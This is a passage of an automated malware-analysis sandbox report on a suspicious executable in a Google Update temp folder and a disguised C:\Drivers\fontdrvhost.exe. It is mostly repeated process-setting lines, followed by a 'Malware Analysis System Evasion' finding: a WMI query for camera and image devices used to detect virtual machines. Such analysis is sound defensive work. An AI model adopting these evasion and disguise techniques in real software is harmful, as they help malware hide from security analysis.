Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
